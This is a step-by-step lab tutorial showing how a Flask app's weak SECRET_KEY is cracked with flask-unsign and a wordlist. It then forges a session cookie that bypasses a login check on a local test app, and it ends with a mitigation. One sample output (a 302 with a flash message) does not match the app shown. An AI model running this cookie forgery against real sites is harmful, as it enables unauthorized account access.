https://blog.paradoxis.nl/defeating-flasks-session-management-65706ba9d3ce
Create virtualenv
python3 -m venv venv/
source venv/bin/activate
Create theses files
Flask App : app.py
from flask import Flask, session
app = Flask(__name__)
app.config['SECRET_KEY'] = 'your_secret_key'
app.config['SESSION_COOKIE_SECURE'] = 'True'
app.config['SESSION_COOKIE_SAMESITE'] = 'Strict'
@app.route('/')
def index():
if 'logged_in' not in session:
session['logged_in'] = False
if session['logged_in']:
return '<h1>You are logged in!</h1>'
else:
return '<h1>Access Denied</h1>', 403
if __name__ == '__main__':
app.run()
Wordlist file : wordlist.txt
CHANGEME
your_secret_key
Cookie crafting : craft.py
import hashlib
from flask.json.tag import TaggedJSONSerializer
from itsdangerous import URLSafeTimedSerializer, TimestampSigner
session = {'logged_in': True}
secret = 'your_secret_key'
print(URLSafeTimedSerializer(
secret_key=secret,
salt='cookie-session',
serializer=TaggedJSONSerializer(),
signer=TimestampSigner,
signer_kwargs={
'key_derivation': 'hmac',
'digest_method': hashlib.sha1
}
).dumps(session))
Install flask-unsign
pip install flask-unsign[wordlist]
Run flask app :
python app.py
Try to crack flask app secret :
flask-unsign --unsign --server http://127.0.0.1:5000 --wordlist wordlist.txt
output :
[*] Server returned HTTP 302 (FOUND)
[+] Successfully obtained session cookie: eyJfZmxhc2hlcyI6W3siIHQiOlsibWVzc2FnZSIsIlBsZWFzZSBsb2cgaW4gdG8gYWNjZXNzIHRoaXMgcGFnZS4iXX1dfQ.ZYRQrw.QS8v0c1dyqB1RzPIPYEZLvVdKPE
[*] Session decodes to: {'_flashes': [('message', 'Please log in to access this page.')]}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 3 attempts
'your_secret_key'
It's also possible to provide directly the cookie :
flask-unsign --unsign -c 'eyJfZmxhc2hlcyI6W3siIHQiOlsibWVzc2FnZSIsIlBsZWFzZSBsb2cgaW4gdG8gYWNjZXNzIHRoaXMgcGFnZS4iXX1dfQ.ZYRQrw.QS8v0c1dyqB1RzPIPYEZLvVdKPE' --wordlist wordlist.txt --no-literal-eval
Edit secret in craft.py and run it.
output :
eyJsb2dnZWRfaW4iOnRydWV9.ZYRS6A.A9fxgYZwJMjYMm18hy2hNsMYwIo
Or you can use flask-unsign
flask-unsign --sign --cookie "{'logged_in': 'True'}" --secret 'your_secret_key'
output :
eyJsb2dnZWRfaW4iOnRydWV9.ZYRS6A.A9fxgYZwJMjYMm18hy2hNsMYwIo
Run curl command with your crafted cookie :
curl --cookie 'session=eyJsb2dnZWRfaW4iOnRydWV9.ZYRS6A.A9fxgYZwJMjYMm18hy2hNsMYwIo' http://127.0.0.1:5000
output :
<h1>You are logged in!</h1>
Generate random secret to protect your app from this :
import os
...
app.config['SECRET_KEY'] = os.urandom(64)